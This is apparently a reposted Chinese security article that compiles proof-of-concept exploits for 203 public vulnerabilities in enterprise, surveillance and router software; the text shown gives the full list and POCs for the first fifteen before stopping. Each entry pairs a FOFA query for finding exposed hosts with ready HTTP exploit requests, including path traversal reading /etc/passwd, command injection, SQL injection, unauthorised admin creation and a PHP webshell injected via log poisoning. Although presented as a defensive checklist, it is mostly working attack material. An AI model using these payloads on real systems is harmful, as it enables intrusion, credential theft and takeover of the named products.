互联网公开漏洞整理202309-202406--转载

admin

互联网公开漏洞整理202309-202406
; q8 ~; o8 s4 k! ]+ i  Z# `& h- |道一安全 2024-06-05 07:41 北京
以下文章来源于网络安全新视界 ，作者网络安全新视界

发文目的：Nday漏洞的利用是安全攻防占比较大的攻击方式，希望文章对大家的防守提供一定帮助。防守同学可根据本文内容进行风险排查。

1 c! e/ k1 B" `# ~% u- Y漏洞来源：文章涵盖2023年9月至2024年5月国内外公开的高危害漏洞POC共203个，均来自于互联网其他公众号或者网站，由网络安全新视界团队进行整理发布。
. J; b5 t0 L7 n0 H
安全补丁：所有的漏洞均为公开漏洞，补丁或漏洞修复方案请联系产品厂家。

$ q; F2 n5 _  a. _+ i  v文章内容：因受篇幅限制，个别漏洞POC由于过长，统一使用PAYLOAD字样代替，如需完整POC请自行搜索。

7 h; _& K4 F8 }, E1 S合法权益：如文章内容侵犯某方合法权益，请后台联系网络安全新视界团队对相关内容进行删除。
, S- P2 F. K2 D5 b# ?) ~4 p
' y  |4 h- r: O, L3 D1 H
/ F! E( [8 G$ }. I5 z声明

为简化流程，方便大家翻阅，固不设置“回复再给完整列表”。本文章就是当前最全文章，使用时F12搜索关键词即可。

有需要的可以收藏此文。也可以关注本公众号（网络安全新视界）。
8 J* X& ]- Z  n1 ]' W2 P+ L4 T0 v  z

+ ~$ k5 g1 c0 B) M% k% [3 i
目录
* u, b, L5 {; {" b. n6 ^% S& a
01
. l* F) m- B- S0 i. I6 }
& r/ s, L+ [' ?( E1 i1. StarRocks MPP数据库未授权访问
2. Casdoor系统static任意文件读取
9 C! l0 q8 U4 q3. EasyCVR智能边缘网关 userlist 信息泄漏
1 n: V+ H" K- q' ~# ?2 L4. EasyCVR视频管理平台存在任意用户添加
. \/ A2 }7 P# Z2 O& c/ S5. NUUO NVR 视频存储管理设备远程命令执行
6. 深信服 NGAF 任意文件读取
, e5 S8 w2 ]. ]% s: V# {7. 鸿运主动安全监控云平台任意文件下载
8. 斐讯 Phicomm 路由器RCE
. Q$ K# H1 ?6 a& P0 v8 J9. 稻壳CMS keyword 未授权SQL注入
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
12. Jorani < 1.0.2 远程命令执行
13. 红帆iOffice ioFileDown任意文件读取
14. 华夏ERP（jshERP）敏感信息泄露
2 ?2 h. M" @% Q+ d' D! [# O' P15. 华夏ERP getAllList信息泄露
16. 红帆HFOffice医微云SQL注入
17. 大华 DSS itcBulletin SQL 注入
18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
* v4 N9 }( i! \. l! N+ ^" t19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
4 U$ T) g, H" H  a! z( d1 V" t4 u20. 大华ICC智能物联综合管理平台任意文件读取
) `6 A( {; V5 Q# e0 G/ r21. 大华ICC智能物联综合管理平台random远程代码执行
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
: x+ M/ K" R4 k+ j$ o& Q+ A23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
24. 用友NC 6.5 accept.jsp任意文件上传
25. 用友NC registerServlet JNDI 远程代码执行
26. 用友NC linkVoucher SQL注入
2 z' ?% `6 I: R5 Y- P27. 用友 NC showcontent SQL注入
  Y' w( b' P3 B: ^! U2 u28. 用友NC grouptemplet 任意文件上传
29. 用友NC down/bill SQL注入
30. 用友NC importPml SQL注入
2 R2 Q. F; {1 k/ m31. 用友NC runStateServlet SQL注入
. i: r- }# N& D6 m0 K5 A/ A' h. x  u32. 用友NC complainbilldetail SQL注入
# g/ ^& Z  }7 z$ [6 ]. I- J: D33. 用友NC downTax/download SQL注入
0 e3 T: B; W5 t0 L. Z34. 用友NC warningDetailInfo接口SQL注入
) M7 F8 h2 C3 \% Y1 s35. 用友NC-Cloud importhttpscer任意文件上传
, ^1 ]4 g- s2 D36. 用友NC-Cloud soapFormat XXE
9 _/ d0 e6 m" h37. 用友NC-Cloud IUpdateService XXE
  ?' j! ~% g- |. V% ~38. 用友U8 Cloud smartweb2.RPC.d XXE
39. 用友U8 Cloud RegisterServlet SQL注入
5 N5 C! G: x# {8 a1 Y40. 用友U8-Cloud XChangeServlet XXE
41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
4 W# ^  t. X7 N# V42. 用友GRP-U8 SmartUpload01 文件上传
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
44. 用友GRP-U8 bx_dj_check.jsp SQL注入
45. 用友GRP-U8 ufgovbank XXE
46. 用友GRP-U8 sqcxIndex.jsp SQL注入
, A, q) t3 j% X8 h- c47. 用友GRP A++Cloud 政府财务云 任意文件读取
48. 用友U8 CRM swfupload 任意文件上传
4 a% u4 S$ k- o. p, v% N$ F7 r49. 用友U8 CRM系统uploadfile.php接口任意文件上传
: f0 m$ I& H* a; Y/ {7 ~  e50. QDocs Smart School 6.4.1 filterRecords SQL注入
51. 云时空社会化商业 ERP 系统 validateLoginName SQL 注入
52. 泛微E-Office json_common.php sql注入
53. 迪普 DPTech VPN Service 任意文件上传
54. 畅捷通T+ getstorewarehousebystore 远程代码执行
55. 畅捷通T+ getdecallusers信息泄露
56. 畅捷通T+ RRATableController,Ufida.T.DI.UIP.ashx 反序列化RCE
57. 畅捷通T+ keyEdit.aspx SQL注入
58. 畅捷通T+ KeyInfoList.aspx sql注入
59. XETUX 软件 dynamiccontent.properties.xhtml 远程代码执行
60. 百卓Smart管理平台 importexport.php SQL注入
61. 浙大恩特客户资源管理系统 fileupload 任意文件上传
- R# ~" i4 q( f6 G62. IP-guard WebServer 远程命令执行
63. IP-guard WebServer任意文件读取
64. 捷诚管理信息系统CWSFinanceCommon SQL注入
65. 优卡特脸爱云一脸通智慧管理平台1.0.55.0.0.1权限绕过
66. 万户ezOFFICE协同管理平台SendFileCheckTemplateEdit-SQL注入
67. 万户ezOFFICE wpsservlet任意文件上传
68. 万户ezOFFICE wf_printnum.jsp SQL注入
69. 万户 ezOFFICE contract_gd.jsp SQL注入
7 ]5 s! }0 @# l0 V9 Y1 o$ z" y70. 万户ezEIP success 命令执行
  A, T6 e9 s7 z" E/ e71. 邦永PM2项目管理系统 Global_UserLogin.aspx SQL注入
9 ^; M1 R! ]% A8 S72. 致远OA getAjaxDataServlet XXE
73. GeoServer wms远程代码执行
74. 致远M3-server 6_1sp1 反序列化RCE
1 u( D% S: U4 G0 J75. Telesquare TLR-2005Ksh 路由器 admin.cgi RCE
- C( J; o/ Y! T  g0 ^7 w+ p  I76. 新开普掌上校园服务管理平台service.action远程命令执行
77. F22服装管理软件系统UploadHandler.ashx任意文件上传
7 j+ o! |/ h& c78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
79. BYTEVALUE 百为流控路由器远程命令执行
6 v' `# a3 f; {5 _* _80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
1 [7 _3 K" o7 R$ @8 k% l5 K81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
3 U, r3 h6 D+ ^* l7 a3 o; k9 V# s83. JeecgBoot testConnection 远程命令执行
84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
8 D4 X6 Q- y: W( J7 V85. SysAid On-premise< 23.3.36远程代码执行
* H6 A, W  o* J6 g86. 日本tosei自助洗衣机RCE
# m6 \- p& M$ g1 B- z  v87. 安恒明御安全网关aaa_local_web_preview文件上传
/ \7 ^9 E: }; S88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
) ~8 E3 z' @9 V4 E, K) ^89. 致远互联FE协作办公平台editflow_manager存在sql注入
/ g* m$ P3 y! V8 I3 a. j: A90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
92. 海康威视运行管理中心session命令执行
* x+ A1 o. C/ a0 z; {93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
5 Q% j8 }  ]0 B  A( ?! s94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
) _7 \$ Y) V4 b95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
96. Apache OFBiz  18.12.11 groovy 远程代码执行
7 D3 r: c7 w# ]& f1 J97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
98. SpiderFlow爬虫平台远程命令执行
; E$ i0 n+ u$ U# K1 e2 {& V99. Ncast盈可视高清智能录播系统busiFacade RCE
100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
/ d* E& y2 t& N101. ivanti policy secure-22.6命令注入
! Z! u! L7 [+ Z- W/ z9 y102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
) n  y3 a, c: O, A1 l; P& @9 s103. Ivanti Pulse Connect Secure VPN XXE
104. Totolink T8 设置 cstecgi.cgi getSysStatusCfg 信息泄露
105. SpringBlade v3.2.0 export-user SQL 注入
6 m. F- `* v3 m2 b$ T( E106. SpringBlade dict-biz/list SQL 注入
107. SpringBlade tenant/list SQL 注入
$ N/ q$ }6 N  w9 }6 u. X- P108. D-Tale 3.9.0 SSRF
109. Jenkins CLI 任意文件读取
" k+ r8 J( o* b) R8 h110. Goanywhere MFT 未授权创建管理员
, }+ d8 j+ G4 O, D+ V2 P2 R/ S. q, H111. WordPress Plugin HTML5 Video Player SQL注入
0 S3 E8 |- h- }5 q+ T112. WordPress Plugin NotificationX SQL 注入
113. WordPress Automatic 插件任意文件下载和SSRF
114. WordPress MasterStudy LMS插件 SQL注入
: C1 A) h' D# E! l115. WordPress Bricks Builder <= 1.9.6 RCE
116. wordpress js-support-ticket文件上传
117. WordPress LayerSlider插件SQL注入
0 a5 ~. @9 C( a% S118. 北京百绰智能S210管理平台uploadfile.php任意文件上传
119. 北京百绰智能S20后台sysmanageajax.php sql注入
120. 北京百绰智能S40管理平台导入web.php任意文件上传
121. 北京百绰智能S42管理平台userattestation.php任意文件上传
6 K$ @, b7 w9 Z, X5 k122. 北京百绰智能s200管理平台/importexport.php sql注入
123. Atlassian Confluence 模板注入代码执行
6 k6 g: s% j4 n( h0 l% D124. 湖南建研工程质量检测系统任意文件上传
125. ConnectWise ScreenConnect身份验证绕过
& |0 l2 I$ H& n0 U126. Aiohttp 路径遍历
127. 广联达Linkworks DataExchange.ashx XXE
' I/ T/ y, h& l7 h$ s128. Adobe ColdFusion 反序列化
129. Adobe ColdFusion 任意文件读取
130. Laykefu客服系统任意文件上传
" D. ]1 a* c  }$ u. q5 F131. Mini-Tmall <=20231017 SQL注入
132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
& A. P8 U& R5 g% v$ M133. H5 云商城 file.php 文件上传
134. 网康NS-ASG应用安全网关index.php sql注入
5 t; D0 L5 W7 ~4 C/ o( G135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
136. NextChat cors SSRF
; W/ B: w8 Y7 K. [! c137. 福建科立迅通信指挥调度平台down_file.php sql注入
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
: k1 ]1 _3 Y* b8 ~6 U0 ?139. 福建科立讯通信指挥调度平台editemedia.php sql注入
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
* q+ F+ r0 N4 y& z3 V$ r7 b& O$ P141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
9 Z" a' w' n) x# U+ b! c# p7 S3 w9 G142. CMSV6车辆监控平台系统中存在弱密码
9 D0 A) [  o4 p2 k4 y1 x143. Netis WF2780 v2.1.40144 远程命令执行
144. D-Link nas_sharing.cgi 命令注入
145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
# R* ~5 J( F" W' N/ l146. MajorDoMo thumb.php 未授权远程代码执行
) e" D& f/ _" C- q" m  f3 f% I147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
148. CrushFTP 认证绕过模板注入
149. AJ-Report开源数据大屏存在远程命令执行
150. AJ-Report 1.4.0 认证绕过与远程代码执行
151. AJ-Report 1.4.1 pageList sql注入
" E. B4 z9 s1 ^9 P4 E9 V152. Progress Kemp LoadMaster 远程命令执行
+ C' U; D$ v% \& M/ X/ U0 Z153. gradio任意文件读取
154. 天维尔消防救援作战调度平台 SQL注入
155. 六零导航页 file.php 任意文件上传
# W0 o* E2 c( r- w156. TBK DVR-4104/DVR-4216 操作系统命令注入
. {  y- j7 V/ T. J  [  d. E157. 美特CRM upload.jsp 任意文件上传
158. Mura-CMS-processAsyncObject存在SQL注入
; i) Q; n% u# f# Y159. 英飞达医学影像存档与通信系统 WebJobUpload 任意文件上传
160. Sonatype Nexus Repository 3目录遍历与文件读取
161. 科拓全智能停车收费系统 Webservice.asmx 任意文件上传
4 B( ]5 f/ x8 p162. 和丰多媒体信息发布系统 QH.aspx 任意文件上传
7 ^' e/ n2 o1 t! q8 x3 W163. 号卡极团分销管理系统 ue_serve.php 任意文件上传
4 ]2 q, h% l# [: E3 G9 ]164. 慧校园(安校易)管理系统 FileUpProductupdate.aspx 任意文件上传
165. OrangeHRM 3.3.3 SQL 注入
. D% F; h! i/ [  R. @2 Y166. 中成科信票务管理平台SeatMapHandler SQL注入
2 Y# m+ D4 i: G* q; ~167. 精益价值管理系统 DownLoad.aspx任意文件读取
168. 宏景EHR OutputCode 任意文件读取
169. 宏景EHR downlawbase SQL注入
170. 宏景EHR DisplayExcelCustomReport 任意文件读取
171. 通天星CMSV6车载定位监控平台 SQL注入
172. DT-高清车牌识别摄像机任意文件读取
! F* x6 u, U8 G) @# }( _173. Check Point 安全网关任意文件读取
174. 金和OA C6 FileDownLoad.aspx 任意文件读取
+ _7 I( O! g( e# @1 f: v175. 金和OA C6 IncentivePlanFulfill.aspx SQL注入
176. 电信网关配置管理系统 rewrite.php 文件上传
177. H3C路由器敏感信息泄露
( t8 j7 @) Z  X" I- _" ~$ W; i178. H3C校园网自助服务系统-flexfileupload-任意文件上传
179. 建文工程管理系统存在任意文件读取
180. 帮管客 CRM jiliyu SQL注入
" N( _$ \$ W! M0 Q+ ^) y. ~181. 润申科技企业标准化管理系统 UpdataLogHandler.ashx SQL注入
/ P4 O0 f" l4 O& h* W4 e182. 润申科技企业标准化管理系统AddNewsHandler.ashx 任意用户创建
) }( r: m- o/ k; w- J" X183. 广州图创图书馆集群管理系统 updOpuserPw SQL注入
- \( y- N3 [, O5 j9 D$ R5 Z184. 迅饶科技 X2Modbus 网关 AddUser 任意用户添加
- V2 }  G  m) F: g9 E/ K185. 瑞友天翼应用虚拟化系统SQL注入
186. F-logic DataCube3 SQL注入
) a- ~6 Y) I& n( h0 `. x187. Mura CMS processAsyncObject SQL注入
188. 叁体-佳会视频会议 attachment 任意文件读取
189. 蓝网科技临床浏览系统 deleteStudy SQL注入
4 C( v$ y. V' B  @' e4 e8 D190. 短视频矩阵营销系统 poihuoqu 任意文件读取
( H/ d& z! I9 {3 z) y) h) k- F1 n7 n191. 亿赛通电子文档安全管理系统 NavigationAjax SQL注入
192. 富通天下外贸ERP UploadEmailAttr 任意文件上传
193. 山石网科云鉴安全管理系统 setsystemtimeaction 命令执行
194. 飞企互联-FE企业运营管理平台 uploadAttachmentServlet 任意文件上传
195. 飞鱼星上网行为管理系统 send_order.cgi命令执行
: ?3 l" |; b! b/ Y196. 河南省风速科技统一认证平台密码重置
, p( @% y7 a% l6 y" I9 ?197. 浙大恩特客户资源管理系统-Quotegask_editAction存在SQL注入
; }- U1 w) z9 H! w, p1 \' l198.  阿里云盘 WebDAV 命令注入
199. cockpit系统assetsmanager_upload接口 文件上传
200. SeaCMS海洋影视管理系统dmku SQL注入
201. 方正全媒体新闻采编系统 binary SQL注入
) w) ~6 l5 P9 \% f202. 微擎系统 AccountEdit任意文件上传
% M1 W- F- D  `; B" W203. 红海云EHR PtFjk 文件上传

POC列表
) F% t4 s* ?" h0 L) J4 t, C
; u& f. G3 [# u; ]3 r; v02

9 l0 Q7 {* v7 Y( b1. StarRocks MPP数据库未授权访问
0 a; q6 A' v7 {5 IFOFA ：title="StarRocks"
3 S$ E$ c9 q8 L0 t$ s) ~& VGET /mem_tracker HTTP/1.1
5 V5 `! V" r5 U  G) ^Host: URL
( T" N( h: }6 C9 S) ]3 _& J
5 [) U9 R7 {* i2 Z4 y' b' {) Y
6 ?. b4 f1 X# e/ l, I2. Casdoor系统static任意文件读取
+ @3 [8 N3 M4 S) b+ K" NFOFA ：title="Casdoor"
GET /static/../../../../../../../../../../../etc/passwd HTTP/1.1
; O, W2 V& ]$ m: T- EHost: xx.xx.xx.xx:9999
( r/ b8 D9 f+ e! UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
# b& U3 B9 r7 |* f3 W0 K, z  W$ nConnection: close
Accept: */*
% t! j% V. \/ C8 `- nAccept-Language: en
+ U& G5 q; D2 p3 F! q7 Q( QAccept-Encoding: gzip
/ T4 w& u0 l: y* t0 l2 e
  k( f/ O+ @3 W8 L$ s3 z) |4 E, N
2 t2 Y( O5 D! p3. EasyCVR智能边缘网关 userlist 信息泄漏
FOFA ：title="EasyCVR"
" t* c7 C% ?0 x$ r2 B7 ZGET /api/v1/userlist?pageindex=0&pagesize=10 HTTP/1.1
& j3 z0 U; Q2 l4 A' l% lHost: xx.xx.xx.xx

+ y' \! _5 i0 Z% P/ a) e- t
7 r* `% Z8 N3 g! w* ]4. EasyCVR视频管理平台存在任意用户添加
FOFA ：title="EasyCVR"

password更改为自己的密码md5
POST /api/v1/adduser HTTP/1.1
0 ]/ J0 ?* R' ZHost: your-ip
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
, z9 K; `% @- G
( k: k- W5 I  |8 o9 w5 d& Gname=admin888&username=admin888&password=0e7517141fb53f21ee439b355b5a1d0a&roleid=1

4 J1 i4 J5 N7 `1 ~$ O- R
3 A. }1 g  r$ K- i5 ]5. NUUO NVR 视频存储管理设备远程命令执行
4 [; N  ^. y  A* BFOFA：title="Network Video Recorder Login"
GET /__debugging_center_utils___.php?log=;whoami HTTP/1.1
) v, A" D4 @7 B( fHost: xx.xx.xx.xx
' D2 C6 q) X" }. q+ ]" s
( ^5 P* n" T# F4 o
6. 深信服 NGAF 任意文件读取
! _3 o! o; X: r# R! p" B4 I& z( ^FOFA：title="SANGFOR | NGAF"
$ y  m1 N9 V* Y6 tGET /svpn_html/loadfile.php?file=/etc/./passwd HTTP/1.1
Host:

+ E  X( E2 K8 b" t7 \8 M; Q0 c% t  `
5 V, t+ D! h8 Y& `, P0 _5 T7. 鸿运主动安全监控云平台任意文件下载
9 H  c0 _8 P, K0 w2 M7 V/ EFOFA：body="./open/webApi.html"
GET /808gps/MobileAction_downLoad.action?path=/WEB-INF/classes/config/jdbc.properties HTTP/1.1
" \) D3 Y' L$ ?3 DHost:

. i7 q+ l, y9 l3 h
/ g" t. D" h6 ~" ^5 i8. 斐讯 Phicomm 路由器RCE
2 ?+ T5 J9 W2 l8 x2 `5 VFOFA：icon_hash="-1344736688"
% p( o! N, F% L- I; b! f$ @默认账号admin登录后台后，执行操作
POST /cgi-bin/luci/;stok=bcd6ccd2fa5d212ce6431ca22f10b96d/admin/wifireboot HTTP/1.1
Host: x.x.x.x
' w/ [' |  p' ?' f$ j- V2 iCookie: sysauth=第一步登录获取的cookie
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxbgjoytz
& o: W0 k' r2 j' J1 P* H- L2 gUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2049.0 Safari/537.36

------WebKitFormBoundaryxbgjoytz
) W  Q4 {: }: C% O* zContent-Disposition: form-data; name="wifiRebootEnablestatus"

%s
------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootrange"
  ~# p; g5 p' o' P4 c
& Y* |' Y' W, p! D5 Z/ l5 x12:00; id;
( O. E; Z" `+ ?% j2 O. d------WebKitFormBoundaryxbgjoytz
Content-Disposition: form-data; name="wifiRebootendrange"

4 ^$ K8 k! e2 f2 j$ Z% F%s:
------WebKitFormBoundaryxbgjoytz
' i1 I8 j* e" o) B; fContent-Disposition: form-data; name="cururl2"

; d1 K! ^( I; ?% S
+ c: O1 P) z0 X# w------WebKitFormBoundaryxbgjoytz--
0 z" `9 w& K6 @" \$ e

% K6 N  g0 @# r; U9. 稻壳CMS keyword 未授权SQL注入
FOFA：app="Doccms"
' u% _% R& w! ~6 W1 G( |, `1 y. SGET /search/index.php?keyword=1%25%32%37%25%32%30%25%36%31%25%36%65%25%36%34%25%32%30%25%32%38%25%36%35%25%37%38%25%37%34%25%37%32%25%36%31%25%36%33%25%37%34%25%37%36%25%36%31%25%36%63%25%37%35%25%36%35%25%32%38%25%33%31%25%32%63%25%36%33%25%36%66%25%36%65%25%36%33%25%36%31%25%37%34%25%32%38%25%33%30%25%37%38%25%33%37%25%36%35%25%32%63%25%32%38%25%37%33%25%36%35%25%36%63%25%36%35%25%36%33%25%37%34%25%32%30%25%37%35%25%37%33%25%36%35%25%37%32%25%32%38%25%32%39%25%32%39%25%32%63%25%33%30%25%37%38%25%33%37%25%36%35%25%32%39%25%32%39%25%32%39%25%32%33 HTTP/1.1
, F8 A! g2 s5 e  LHost: x.x.x.x
& ?, F; P8 {0 g3 d  y
5 b# _( {6 Z: y8 C8 E# J
payload为下列语句的二次Url编码
) I: p4 b" `2 G) X: K+ g% H7 }$ K
' and (extractvalue(1,concat(0x7e,(select user()),0x7e)))#
  w% u0 E' P% B. [" q9 L/ S5 J6 @
10. 蓝凌EIS智慧协同平台api.aspx任意文件上传
3 D5 T7 H! x+ p  f% `2 e: @FOFA：icon_hash="953405444"
6 X1 T" d$ J% a1 ?6 R5 g. x4 J
! d- C2 g0 O8 C8 W( @, V" B, }文件上传后响应中包含上传文件的路径
POST /eis/service/api.aspx?action=saveImg HTTP/1.1
% d5 F0 \! s7 i1 H# V: I. V( sHost: x.x.x.x:xx
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/100.0.4896.127 Safari/537.36
, q$ j+ L& Y% k: Z5 T3 CContent-Length: 197
! y" ]3 q6 G+ _: J$ z' EAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
1 R+ g. k* |# YAccept-Encoding: gzip, deflate
9 o- h5 a, H. `* }; w( C  vAccept-Language: zh-CN,zh;q=0.9
Connection: close
+ t5 I; a, V; r  B2 ~Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryxdgaqmqu

8 i( @5 C% q% K+ L6 d------WebKitFormBoundaryxdgaqmqu
1 j6 w& J5 n; n" rContent-Disposition: form-data; name="file"filename="icfitnya.txt"
Content-Type: text/html

! {  ^0 t* d8 J; x9 b- Y7 tjmnqjfdsupxgfidopeixbgsxbf
! y7 |+ b+ L( d% k6 D+ q, Y, ^# r------WebKitFormBoundaryxdgaqmqu--
9 s. D' a9 k, E
& o$ m6 l* K( o# [6 _( f# q, j4 N
11. 蓝凌EIS智慧协同平台 doc_fileedit_word.aspx SQL注入
FOFA：icon_hash="953405444" || app="Landray-EIS智慧协同平台"
" }6 c' {2 `% h+ s0 x+ C, |# kGET /dossier/doc_fileedit_word.aspx?recordid=1'%20and%201=@@version--+&edittype=1,1 HTTP/1.1
9 q9 M9 I7 U$ x/ _/ AHost: 127.0.0.1
& j! J5 S8 e) {6 Z/ iPragma: no-cache
Cache-Control: no-cache
Upgrade-Insecure-Requests: 1
; ^$ \" o0 _* ?2 _" |) wUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
2 E& v7 D2 }, i

2 m1 X" _+ i) m8 D$ A2 p8 e12. Jorani < 1.0.2 远程命令执行
FOFA：title="Jorani"
1 V% a* Q% `) ?8 C* r第一步先拿到cookie
. p) P4 r+ m+ u& i  kGET /session/login HTTP/1.1
Host: 192.168.190.30
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.2309.372 Safari/537.36
Connection: close
Accept-Encoding: gzip

3 A- h+ c2 P0 S5 x/ y, ~3 O
响应中csrf_cookie_jorani用于后续请求
HTTP/1.1 200 OK
2 A9 ?% @& I, y& c4 \9 ~2 x8 YConnection: close
Cache-Control: no-store, no-cache, must-revalidate
Content-Type: text/html; charset=UTF-8
  }2 M1 F7 p' P& z& NDate: Tue, 24 Oct 2023 09:34:28 GMT
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Last-Modified: Tue, 24 Oct 2023 09:34:28 GMT
Pragma: no-cache
1 D6 K# J1 X$ W4 }. yServer: Apache/2.4.54 (Debian)
  Z: \& ~% v* lSet-Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/
9 v$ [# D- |$ v' W: fSet-Cookie: jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r; expires=Tue, 24-Oct-2023 11:34:28 GMT; Max-Age=7200; path=/; HttpOnly
Vary: Accept-Encoding
6 T$ Z7 O+ o4 L+ [: s# T& m
6 ?) N, [" s4 l1 I% {5 @/ J0 N
POST请求，执行函数并进行base64编码
; c2 ]3 e1 Q/ nPOST /session/login HTTP/1.1
Host: 192.168.190.30
2 \! N$ z! R* o. m4 M9 V2 J* SUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
! d4 f  j- q+ i. u; \6 AConnection: close
Content-Length: 252
Content-Type: application/x-www-form-urlencoded
5 Q& F* p. R- F, u- K, ~Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
- }% E$ e4 |% f# M2 ^Accept-Encoding: gzip
8 W; W: K  y3 H9 f" K
csrf_test_jorani=6ca560f2b0baf3cda87c818a4a15dc77&last_page=session%2Flogin&language=..%2F..%2Fapplication%2Flogs&login=<?php if(isset($_SERVER['HTTP_K1SYJPMHLU4Z'])){system(base64_decode($_SERVER['HTTP_K1SYJPMHLU4Z']));} ?>&CipheredValue=DummyPasswor



向靶场发送如下请求，执行id命令，请求头中的ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=是命令base64编码后的字符串
% P3 M6 B$ B# x; o$ G  ]3 |# nGET /pages/view/log-2023-10-24 HTTP/1.1
3 F- j/ F2 Q. i+ j& JHost: 192.168.190.30
4 C' ~3 m. ~4 [. v. l$ g7 OUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
" F- U0 f+ h3 S( O% a: m% U: `Cookie: csrf_cookie_jorani=6ca560f2b0baf3cda87c818a4a15dc77; jorani_session=bqk0ttr6q2mg3tae6rd75ei02umkq99r
1 x+ Q" ~# e( J: r* UK1SYJPMHLU4Z: ZWNobyAtLS0tLS0tLS07aWQgMj4mMTtlY2hvIC0tLS0tLS0tLTs=
7 O" p, c1 c% L$ v& f4 w% B8 lX-REQUESTED-WITH: XMLHttpRequest
Accept-Encoding: gzip
, ?. _9 Q8 K; P. K! f5 o# \! M
+ f8 E" Q) h$ L" ?: s+ v4 A
. j  Z: X' C6 G/ Y13. 红帆iOffice ioFileDown任意文件读取
FOFA：app="红帆-ioffice"
GET /ioffice/prg/interface/ioFileDown.aspx?sFilePath=c:/windows/win.ini HTTP/1.1
: H9 u2 a  R) u& sHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
- H$ T- q  z5 U, O, tConnection: close
& v0 R0 c9 n! j& n3 B6 S9 I3 Z6 Q' nAccept: */*
Accept-Encoding: gzip
0 A1 H, D. Y+ q( V8 U: P9 E6 X: h. @' D4 U

14. 华夏ERP（jshERP）敏感信息泄露
9 s; z% ]" K6 ^3 Q0 h! AFOFA：body="jshERP-boot"
4 m( r, X) I  [% ?( C) [2 i泄露内容包括用户名密码
GET /jshERP-boot/user/getAllList;.ico HTTP/1.1
' A9 k; a! Y+ S6 qHost: x.x.x.x
3 y: A% T; t1 r) w+ F" KUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
Connection: close
Accept: */*
& ?; |1 Z# S2 V8 g0 v3 p% hAccept-Language: en
( |5 V0 l# a: H( W# z9 [9 JAccept-Encoding: gzip
$ {( _/ H2 `* B. Z

, y7 W# U; J  e4 Z. Q+ o15. 华夏ERP getAllList信息泄露
" r# \: W3 Y9 @* C9 u: CCVE-2024-0490
9 i, E0 l, X% b3 x+ dFOFA：body="jshERP-boot"
泄露内容包括用户名密码
GET /jshERP-boot/user/a.ico/../getAllList HTTP/1.1
7 Q( ?9 e8 N" y7 Y4 O* p$ zHost: 192.168.40.130:100
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/35.0.1916.47 Safari/537.36
